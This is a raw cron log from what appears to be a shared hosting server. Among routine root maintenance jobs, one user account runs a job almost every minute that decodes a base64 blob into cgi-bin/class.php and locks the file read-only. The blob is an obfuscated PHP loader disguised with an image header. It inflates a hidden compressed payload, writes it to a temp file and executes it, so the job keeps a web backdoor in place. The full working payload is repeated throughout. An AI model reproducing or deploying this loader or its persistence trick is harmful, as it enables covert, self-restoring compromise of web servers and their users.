Sep  5 13:47:01 server CROND[7744]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:48:01 server CROND[8115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:48:01 server CROND[8116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:48:01 server CROND[8117]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:49:01 server CROND[8486]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:49:01 server CROND[8487]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:49:01 server CROND[8488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:50:01 server CROND[8865]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 13:50:01 server CROND[8866]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 13:50:01 server CROND[8864]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 13:50:01 server CROND[8869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:50:01 server CROND[8867]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:50:01 server CROND[8871]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 13:50:01 server CROND[8868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:50:01 server CROND[8870]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 13:50:01 server CROND[8890]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 13:51:01 server CROND[9701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:51:01 server CROND[9703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:51:01 server CROND[9704]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:52:01 server CROND[10161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:52:01 server CROND[10163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:52:01 server CROND[10162]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:53:01 server CROND[10535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:53:01 server CROND[10537]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:53:01 server CROND[10536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:54:01 server CROND[10897]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:54:01 server CROND[10898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:54:01 server CROND[10899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:55:01 server CROND[11341]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 13:55:01 server CROND[11342]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 13:55:01 server CROND[11343]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 13:55:01 server CROND[11347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:55:01 server CROND[11346]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:55:01 server CROND[11344]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 13:55:01 server CROND[11345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:56:01 server CROND[12185]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:56:01 server CROND[12184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:56:01 server CROND[12187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:57:01 server CROND[12674]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:57:01 server CROND[12675]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 13:57:01 server CROND[12676]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:57:01 server CROND[12677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:58:01 server CROND[13051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:58:01 server CROND[13052]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:58:01 server CROND[13053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:59:01 server CROND[13431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
